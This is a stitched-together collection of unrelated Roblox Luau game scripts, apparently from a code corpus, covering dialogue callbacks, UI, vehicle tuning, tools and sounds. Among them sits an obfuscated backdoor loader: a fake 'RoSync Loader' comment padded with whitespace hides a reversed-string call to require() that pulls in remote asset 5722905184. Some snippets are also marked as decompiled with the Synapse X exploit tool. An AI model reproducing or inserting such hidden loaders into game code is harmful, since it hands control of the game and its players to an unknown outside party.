Roblox/luau_corpus huggingface dataset:
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	plrData.Money.Gold.Value = plrData.Money.Gold.Value - 45 -- TODO track for dissertation
	local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
	ClassInformationTable:GetClassFolder(player,"Brawler").Barrage.Value = true
end
--edit the below function to execute code when this response is chosen OR this prompt is shown
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local MoneyModule = require(game.ReplicatedStorage.Source.SystemModules.Money)
	MoneyModule.BuyItemFromDialogueFolder(player,dialogueFolder)
	
end
--[[ This HelpButton Theme displays by default the headshot of the LocalPlayer.
   Modes: {
          "HEADSHOT" -- LocalPlayer Headshot Thumb
          "CUSTOM" -- Loads from Settings
          }
--]]
return function(data, env)
	if env then
		setfenv(1, env)
	end
	local playergui = service.PlayerGui
	local localplayer = service.Players.LocalPlayer
	local gui = service.New("ScreenGui")

	local toggle = service.New("ImageButton", gui)
	local toggle1 = service.New("Frame", gui)

	local round = Instance.new("UICorner")
	round.CornerRadius = UDim.new(0, 6)
	round.Parent = toggle1

	local round1 = Instance.new("UICorner")
	round1.CornerRadius = UDim.new(0, 6)
	round1.Parent = toggle

	local gTable = client.UI.Register(gui)

	if client.UI.Get("HelpButton", gui, true) then
		gui:Destroy()
		gTable:Destroy()
		return nil
	end

	gTable.Name = "HelpButton"
	gTable.CanKeepAlive = false

	toggle.Name = "Toggle"
	toggle1.Name = "RoundFrame"
	toggle1.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
	toggle.BackgroundTransparency = 1
	toggle1.Position = UDim2.new(1, -45, 1, -45)
	toggle.Position = UDim2.new(1, -42, 1, -38)
	toggle.Size = UDim2.new(0, 33, 0, 33) --33
	toggle.ZIndex = 67
	toggle1.Size = UDim2.new(0, 40, 0, 40)
		toggle.Image =
			"https://www.roblox.com/headshot-thumbnail/image?userId=" ..
			localplayer.UserId .. "&width=420&height=420&format=png"



	toggle.ImageTransparency = 0

	--if client.UI.Get("Chat") then
	--	toggle.Position = UDim2.new(1, -(45+40),1, -45)
	--end

	toggle.MouseButton1Down:Connect(
		function()
			local found = client.UI.Get("UserPanel", nil, true)
			if found then
				found.Object:Destroy()
			else
				client.UI.Make("UserPanel", {})
			end
		end
	)

	gTable:Ready()
end
--[=[
	Set the top-level value of the property, but does not override
	any per-player data (e.g. set with `SetFor` or `SetFilter`).
	Any player without custom-set data will receive this new data.

	This is useful if certain players have specific values that
	should not be changed, but all other players should receive
	the same new value.

	```lua
	-- Using just 'Set' overrides per-player data:
	remoteProperty:SetFor(somePlayer, "CustomData")
	remoteProperty:Set("Data")
	print(remoteProperty:GetFor(somePlayer)) --> "Data"

	-- Using 'SetTop' does not override:
	remoteProperty:SetFor(somePlayer, "CustomData")
	remoteProperty:SetTop("Data")
	print(remoteProperty:GetFor(somePlayer)) --> "CustomData"
	```
]=]
function RemoteProperty:SetTop(value: any)
	self._value = value
	for _, player in ipairs(Players:GetPlayers()) do
		if self._perPlayer[player] == nil then
			self._rs:Fire(player, value)
		end
	end
end
--//Tool Functions\\--
tool.Equipped:Connect(function()
	contextActionService:BindAction("ActivateSpecial", activate, true, Enum.KeyCode.E)
	contextActionService:SetImage("ActivateSpecial", tool.TextureId)
	contextActionService:SetPosition("ActivateSpecial", UDim2.new(0.72, -25, 0.20, -25))
	enabled =  true
	mouse.Icon = cursorId
	FindRigType(tool)
end)

tool.Unequipped:Connect(function()
	contextActionService:UnbindAction("ActivateSpecial")
	enabled =  true
	mouse.Icon = ""
end)

tool.Activated:Connect(function()
	if not enabled then return end
	
	enabled = false
	fire:FireServer(mouse.Hit)
	wait(fireRate.Value)
	enabled = true
end)

hit.OnClientEvent:Connect(function()
	mouse.Icon = hitmarkerId
	handle.Hitmark:Play()
	wait(0.075)
	mouse.Icon = cursorId
end)

activateSpecial.OnClientEvent:Connect(function()
	
	for i = specialRechargeTime.Value, 0, -1 do
		wait(1)
		specialDB = false
		print("Recharging: "..i)
	end
	
	specialDB = true
end)
-- Preload game assets
coroutine.wrap(function()
	ContentProvider:PreloadAsync(AssetPreloads)
end)()
------------------------------------------------------------------------
-- creates struct entry for a local variable
-- * used only in new_localvar()
------------------------------------------------------------------------
function luaY:registerlocalvar(ls, varname)
  local fs = ls.fs
  local f = fs.f
  self:growvector(ls.L, f.locvars, fs.nlocvars, f.sizelocvars,
                  nil, self.SHRT_MAX, "too many local variables")
  -- loop to initialize empty f.locvar positions not required
  f.locvars[fs.nlocvars] = {} -- LocVar
  f.locvars[fs.nlocvars].varname = varname
  -- luaC_objbarrier(ls.L, f, varname) /* GC */
  local nlocvars = fs.nlocvars
  fs.nlocvars = fs.nlocvars + 1
  return nlocvars
end
------------------------------------------
gui.Track.Text = radio.TName.Value
radio.TName.Changed:connect(function()
	gui.Track.Text = radio.TName.Value
	seat.Parent.Body.Dash.Screen.G.Song.Text = radio.TName.Value
end)
gui.Stop.MouseButton1Click:connect(function()
	if radio.Stopped.Value == false then
		radio.Stopped.Value = true
	end
end)
gui.Pause.MouseButton1Click:connect(function()
	if radio.Paused.Value == false and radio.Stopped.Value == false then
		radio.Paused.Value = true
	end
end)
gui.Play.MouseButton1Click:connect(function()
	if radio.Stopped.Value == true then
		radio.Play.Value = not radio.Play.Value
	else
		if radio.Paused.Value == true then
			radio.Paused.Value = false
		end
	end
end)
gui.Forward.MouseButton1Click:connect(function()
	local n = radio.Track.Value+1
	if n>#radio.Songs:GetChildren() then
		n = 1
	end
	radio.Track.Value = n
end)
gui.Back.MouseButton1Click:connect(function()
	local n = radio.Track.Value-1
	if n<=0 then
		n = #radio.Songs:GetChildren()
	end
	radio.Track.Value = n
end)
gui.AutoplayOn.MouseButton1Click:connect(function()
	if radio.Autoplay.Value == true then
		radio.Autoplay.Value = false
	end
end)
gui.AutoplayOff.MouseButton1Click:connect(function()
	if radio.Autoplay.Value == false then
		radio.Autoplay.Value = true
	end
end)
gui.List.MouseButton1Click:connect(function()
	gui.Menu.Visible=not gui.Menu.Visible
end)
gui.Id.MouseButton1Click:connect(function()
	gui.IdPlayer.Visible=not gui.IdPlayer.Visible
	if gui.IdPlayer.Visible then gui.Id.Rotation=180 else gui.Id.Rotation=0 end
end)
gui.IdPlayer.Play.MouseButton1Click:connect(function()
	if radio.IdPlay.Value==gui.IdPlayer.TextBox.Text then
		radio.IdPlay.Value=""
	wait()
	end
	radio.IdPlay.Value=gui.IdPlayer.TextBox.Text
end)
for i,v in pairs(gui.Menu:GetChildren()) do
	v.MouseButton1Click:connect(function()
		radio.Track.Value = i
	end)
end
function Stopped()
	if radio.Stopped.Value == true then
		gui.Pause.Visible = false
		gui.Play.Visible = true
	else
		gui.Play.Visible = false
		gui.Pause.Visible = true
	end
end
function Paused()
	if radio.Paused.Value == true then
		gui.Pause.Visible = false
		gui.Play.Visible = true
	else
		if radio.Stopped.Value == false then
			gui.Play.Visible = false
			gui.Pause.Visible = true
		end
	end
end
function Autoplay()
	if radio.Autoplay.Value == true then
		gui.AutoplayOff.Visible = false
		gui.AutoplayOn.Visible = true
	else
		gui.AutoplayOn.Visible = false
		gui.AutoplayOff.Visible = true
	end
end
radio.Stopped.Changed:connect(Stopped)
radio.Paused.Changed:connect(Paused)
radio.Autoplay.Changed:connect(Autoplay)
Stopped()
Paused()
Autoplay()
while wait(.5) do
	if seat:FindFirstChild("SeatWeld") == nil then
		script.Parent:Destroy()
	end
end
------------------------------------------------------WeldArm---------------------------------------------------------------
Tool = script.Parent;
local arms = nil
local torso = nil
local welds = {}

function Equip(mouse)
wait(0.01)
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
torso = Tool.Parent:FindFirstChild("Torso")
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = nil
sh[2].Part1 = nil
local weld1 = Instance.new("Weld")
weld1.Part0 = torso
weld1.Parent = torso
weld1.Part1 = arms[1]
weld1.C1 = CFrame.new(1.5, 0.4, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-90), 0, math.rad(0))
welds[1] = weld1
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(-1.5, 0.3, 0.4) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), 0)
welds[2] = weld2
end
else
print("sh")
end
else
print("arms")
end
end

function Unequip(mouse)
if arms ~= nil and torso ~= nil then
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
if sh ~= nil then
local yes = true
if yes then
yes = false
sh[1].Part1 = arms[1]
sh[2].Part1 = arms[2]
welds[1].Parent = nil
welds[2].Parent = nil
end
else
print("sh")
end
else
print("arms")
end
end
Tool.Equipped:connect(Equip)
Tool.Unequipped:connect(Unequip)
--// Hash: daab94b749882fb558fe5d88117045e2a3c840c03050fbba91003d0f3b79c29873a440c969d367b0dd9eb2a36ca2aad2
-- Decompiled with the Synapse X Luau decompiler.

while true do
	local v1 = pcall(function()
		game.StarterGui:SetCore("BadgesNotificationsActive", false);
		game.StarterGui:SetCore("ResetButtonCallback", false);
	end);
	wait(0.1);
	if v1 then
		break;
	end;
end;
-- create a bar
local bar = Instance.new("Frame", frame)
bar.Position = UDim2.new(0, 0, 0, 0)
bar.Size = UDim2.new(1, 0, 1, 0)
bar.BackgroundColor3 = Color3.new(0, 1, 0)
--------END RIGHT DOOR 10--------
end
wait(0.1)

end
until game.Workspace.DoorFlashing.Value == false

end

end
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ Last synced 4/18/2021 05:54                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
----- Private variables -----
local Camera = workspace.CurrentCamera
local Player = Players.LocalPlayer

local xSpring = Spring.new(0)
local ySpring = Spring.new(1)

UserInputService.MouseIconEnabled = false
--
script.Parent.OnServerEvent:Connect(function(p)
	local Character = p.Character
	local Humanoid = Character.Humanoid
	local RootPart = Character.HumanoidRootPart
	local anim = Humanoid:LoadAnimation(script["anim"])
	anim:Play()
	local vel = Instance.new("BodyVelocity", RootPart)
	vel.MaxForce = Vector3.new(1,1,1) * 1000000;
	vel.Parent = RootPart
	vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
	vel.Name  =  "SmallMoveVel"
	game.Debris:AddItem(vel,10)
	wait(6)
	script.Parent.Parent.VoidStart:Play()
	DB.Parent = workspace.Effects
	DM.Parent = workspace.Effects
	DB.CFrame = RootPart.CFrame * CFrame.new(0,0,0)
	RootPart.CFrame = workspace["Domain Point"].CFrame * CFrame.new(0,0,0)
	DM.CFrame = workspace["Domain Point"].CFrame * CFrame.new(0,0,0)
	local hitcontent = workspace:GetPartBoundsInBox(DB.CFrame, Vector3.new(70, 70, 70))
	local hitlist = {}
	for _,v in pairs(hitcontent) do
		if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
			if not hitlist[v.Parent.Humanoid] then
				hitlist[v.Parent.Humanoid] = true
				local RootPart2 = v.Parent.HumanoidRootPart
				RootPart2.CFrame = workspace["Domain Point"]["Domain Point2"].CFrame * CFrame.new(0,0,0)
				local velE = Instance.new("BodyVelocity", RootPart2)
				velE.MaxForce = Vector3.new(1,1,1) * 1000000;
				velE.Parent = RootPart2
				velE.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0
				velE.Name  =  "SmallMoveVel"
				game.Debris:AddItem(velE,17)
			end
		end
	end
	wait(4)
	anim:stop()
	wait(13)
	local hitcontent = workspace:GetPartBoundsInBox(DM.CFrame, Vector3.new(300, 300, 300))
	local hitlist = {}
	for _,v in pairs(hitcontent) do
		if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then
			if not hitlist[v.Parent.Humanoid] then
				hitlist[v.Parent.Humanoid] = true
				local RootPart2 = v.Parent.HumanoidRootPart
				RootPart2.CFrame = DB.CFrame * CFrame.new(0,0,0)
			end
		end
	end
	RootPart.CFrame = DB.CFrame * CFrame.new(0,0,0)
end)
-- BrailleGen 3D BETA

Align = true

This = script.Parent
Btn = This.Parent
Lift = Btn.Parent.Parent.Parent
Config = require(Lift.CustomLabel)
Characters = require(script.Characters)

CustomLabel = Config["CUSTOMFLOORLABEL"][tonumber(Btn.Name)]

function ChangeFloor(SF)
	if Align == true then
		if string.len(SF) == 1 then
			SetLabel(1,SF,0.045)	
			SetLabel(2,"NIL",0)
			SetLabel(3,"NIL",0)
			SetLabel(4,"NIL",0)
		elseif string.len(SF) == 2 then
			SetLabel(1,SF:sub(1,1),0.03)	
			SetLabel(2,SF:sub(2,2),0.03)
			SetLabel(3,"NIL",0)
			SetLabel(4,"NIL",0)
		elseif string.len(SF) == 3 then
			SetLabel(1,SF:sub(1,1),0.015)	
			SetLabel(2,SF:sub(2,2),0.015)
			SetLabel(3,SF:sub(3,3),0.015)
			SetLabel(4,"NIL",0)
		elseif string.len(SF) == 4 then
			SetLabel(1,SF:sub(1,1),0)	
			SetLabel(2,SF:sub(2,2),0)
			SetLabel(3,SF:sub(3,3),0)
			SetLabel(4,SF:sub(4,4),0)
		end
	else
		if string.len(SF) == 1 then
			SetLabel(1,SF,0)	
			SetLabel(2,"NIL",0)
			SetLabel(3,"NIL",0)
			SetLabel(4,"NIL",0)
		elseif string.len(SF) == 2 then
			SetLabel(1,SF:sub(1,1),0)	
			SetLabel(2,SF:sub(2,2),0)
			SetLabel(3,"NIL",0)
			SetLabel(4,"NIL",0)
		elseif string.len(SF) == 3 then
			SetLabel(1,SF:sub(1,1),0)	
			SetLabel(2,SF:sub(2,2),0)
			SetLabel(3,SF:sub(3,3),0)
			SetLabel(4,"NIL",0)
		elseif string.len(SF) == 4 then
			SetLabel(1,SF:sub(1,1),0)	
			SetLabel(2,SF:sub(2,2),0)
			SetLabel(3,SF:sub(3,3),0)
			SetLabel(4,SF:sub(4,4),0)
		end
	end
end


function SetLabel(ID,CHAR,OFFSET)
	if This:FindFirstChild("BR"..ID) and Characters[CHAR] ~= nil then
		for i,l in pairs(Characters[CHAR]) do 
			This["BR"..ID].Mesh.MeshId = "rbxassetid://"..l
		end
		if CHAR == "A" or CHAR == "1" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.014)
		elseif CHAR == "B" or CHAR == "2" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, -0.006)
		elseif CHAR == "C" or CHAR == "3" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.014)
		elseif CHAR == "D" or CHAR == "4" or CHAR == "E" or CHAR == "5" or CHAR == "F" or CHAR == "6" or CHAR == "G" or CHAR == "7" or CHAR == "H" or CHAR == "8" or CHAR == "I" or CHAR == "9" or CHAR == "J" or CHAR == "0" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, -0.006)
		elseif CHAR == "K" or CHAR == "L" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET-0.006, 0, 0)
		elseif CHAR == "." or CHAR == "+" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)
		elseif CHAR == "-" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.014)
		elseif CHAR == ";" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0.006)
		elseif CHAR == "*" then
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET+0.006, 0, 0)
		else
			This["BR"..ID].Mesh.Offset = Vector3.new(OFFSET, 0, 0)
		end
	end
end



ChangeFloor("OP")


script:Destroy()
--[[Weight and CG]]
	Tune.Weight			= 3000	-- Total weight (in pounds)
	Tune.WeightBSize	= {			-- Size of weight brick (dimmensions in studs ; larger = more stable)
	 --[[Width]]		6		,
	 --[[Height]]		3.5		,
	 --[[Length]]		17.2		}
	Tune.WeightDist		= 51		-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
	Tune.CGHeight		= .8			-- Center of gravity height (studs relative to median of all wheels)
	Tune.WBVisible		= false		-- Makes the weight brick visible
	
	--Unsprung Weight
	Tune.FWheelDensity	= .1		-- Front Wheel Density
	Tune.RWheelDensity	= .1		-- Rear Wheel Density
	Tune.FWLgcyDensity	= 1			-- Front Wheel Density [PGS OFF]
	Tune.RWLgcyDensity	= 1			-- Rear Wheel Density [PGS OFF]
	
	Tune.AxleSize		= 2			-- Size of structural members (larger = MORE STABLE / carry more weight)
	Tune.AxleDensity	= .1		-- Density of structural members
--chr.PrimaryPart:WaitForChild("Died"):Destroy()
local folder = script:WaitForChild("Sounds")
local soundsDes = folder:GetChildren()
for i = 1, #soundsDes do
	maxLines = #soundsDes
end

local canPlay = true
local function died()
	local ranNo =  math.random(1, maxLines)
	local str = tostring(ranNo)
	
	folder[str]:Play()
	
	if folder[str]:FindFirstChild("Effect") then
		local effect = folder[str].Effect
		local clone = effect:Clone()
		clone.Parent = chr.PrimaryPart
		clone.Disabled = false
	end
end

chr:WaitForChild("Humanoid").Died:Connect(died)
-- After the voting period, determine the map with the highest count
local function determineWinningMap()
	local highestVotes = 0
	local winningMap = ""

	for map, votes in pairs(mapVotes) do
		if votes > highestVotes then
			highestVotes = votes
			winningMap = map
		end
	end

	-- Load the game with the winning map
	print("The winning map is: " .. winningMap)
	game.ReplicatedStorage.VotingEnded:FireServer(winningMap)
	-- Load the winning map using your game's specific logic
end
--[[Steering]]
	Tune.SteerInner		= 36		-- Inner wheel steering angle (in degrees)
	Tune.SteerOuter		= 37		-- Outer wheel steering angle (in degrees)
	Tune.SteerSpeed		= .05		-- Steering increment per tick (in degrees)
	Tune.ReturnSpeed	= .05		-- Steering increment per tick (in degrees)
	Tune.SteerDecay		= 320		-- Speed of gradient cutoff (in SPS)
	Tune.MinSteer		= 10		-- Minimum steering at max steer decay (in percent)
	Tune.MSteerExp		= 1			-- Mouse steering exponential degree
	
	--Steer Gyro Tuning
	Tune.SteerD			= 1000		-- Steering Dampening
	Tune.SteerMaxTorque	= 50000		-- Steering Force
	Tune.SteerP			= 100000	-- Steering Aggressiveness
-- Decompiled with the Synapse X Luau decompiler.

return {
	Name = "get-player-place-instance", 
	Aliases = {}, 
	Description = "Returns the target player's Place ID and the JobId separated by a space. Returns 0 if the player is offline or something else goes wrong.", 
	Group = "DefaultDebug", 
	Args = { {
			Type = "playerId", 
			Name = "Player", 
			Description = "Get the place instance of this player"
		}, function(p1)
			return {
				Type = p1.Cmdr.Util.MakeEnumType("PlaceInstance Format", { "PlaceIdJobId", "PlaceId", "JobId" }), 
				Name = "Format", 
				Description = "What data to return. PlaceIdJobId returns both separated by a space.", 
				Default = "PlaceIdJobId"
			};
		end }
};
--Creates a display Gui for the soft shutdown.

return function()
	local ScreenGui = Instance.new("ScreenGui")
	ScreenGui.Name = "SoftShutdownGui"
	ScreenGui.DisplayOrder = 100
	
	--Create background to cover behind top bar.
	local Frame = Instance.new("Frame")
	Frame.BackgroundColor3 = Color3.new(0,170/255,1)
	Frame.Position = UDim2.new(-0.5,0,-0.5,0)
	Frame.Size = UDim2.new(2,0,2,0)
	Frame.ZIndex = 10
	Frame.Parent = ScreenGui
	
	local function CreateTextLabel(Size,Position,Text)
		local TextLabel = Instance.new("TextLabel")
		TextLabel.BackgroundTransparency = 1
		TextLabel.Size = Size
		TextLabel.Position = Position
		TextLabel.Text = Text
		TextLabel.ZIndex = 10
		TextLabel.Font = "Cartoon"
		TextLabel.TextScaled = true
		TextLabel.TextColor3 = Color3.new(1,1,1)
		TextLabel.TextStrokeColor3 = Color3.new(0,0,0)
		TextLabel.TextStrokeTransparency = 0
		TextLabel.Parent = Frame
	end
	
	--Create text.
	CreateTextLabel(UDim2.new(0.5,0,0.1,0),UDim2.new(0.25,0,0.4,0),"ATTENTION")
	CreateTextLabel(UDim2.new(0.5,0,0.05,0),UDim2.new(0.25,0,0.475,0),"This server is being updated")
	CreateTextLabel(UDim2.new(0.5,0,0.03,0),UDim2.new(0.25,0,0.55,0),"Please wait")
	
	--Return the ScreenGui and the background.
	return ScreenGui,Frame		
end
--this part manages the local script
local addMyLocalScript = function(player)
	local localScript = script.ROBLOXInteraction:Clone()
	local backpack = player:WaitForChild("Backpack")
	if not player:WaitForChild("Backpack"):FindFirstChild("ROBLOXInteraction") then	
		localScript.Parent = player.Backpack
	end
end

local addScriptAtRespawn = function(player)--when a player respawns, give them the script
	player.CharacterAdded:connect(function() addMyLocalScript(player) end)
end
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0

script:WaitForChild("Rev")

script.Parent.Values.Gear.Changed:connect(function()
	mult=1
	if script.Parent.Values.RPM.Value>5000 then
		shift=.2
	end
end)

for i,v in pairs(car.DriveSeat:GetChildren()) do
	for _,a in pairs(script:GetChildren()) do
		if v.Name==a.Name then v:Stop() wait() v:Destroy() end
	end
end

handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,0,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")

while wait() do
	mult=math.max(0,mult-.1)
	local _RPM = script.Parent.Values.RPM.Value
	
	if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
		throt = math.max(.3,throt-.2)
		trmmult = math.max(0,trmmult-.05)
		trmon = 1		
	else
		throt = math.min(1,throt+.1)
		trmmult = 1
		trmon = 0		
	end	
	shift = math.min(1,shift+.2)	
	if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
		redline=.5
	else
		redline=1
	end
	if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
	local Volume = (on*(4*throt*shift*redline)+(trm*trmon*trmmult*(1-throt)*math.sin(tick()*50)))
	local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rev.SetPitch.Value)
	if FE then
		handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,Volume)
	else
		car.DriveSeat.Rev.Volume = Volume
		car.DriveSeat.Rev.Pitch = Pitch
	end
end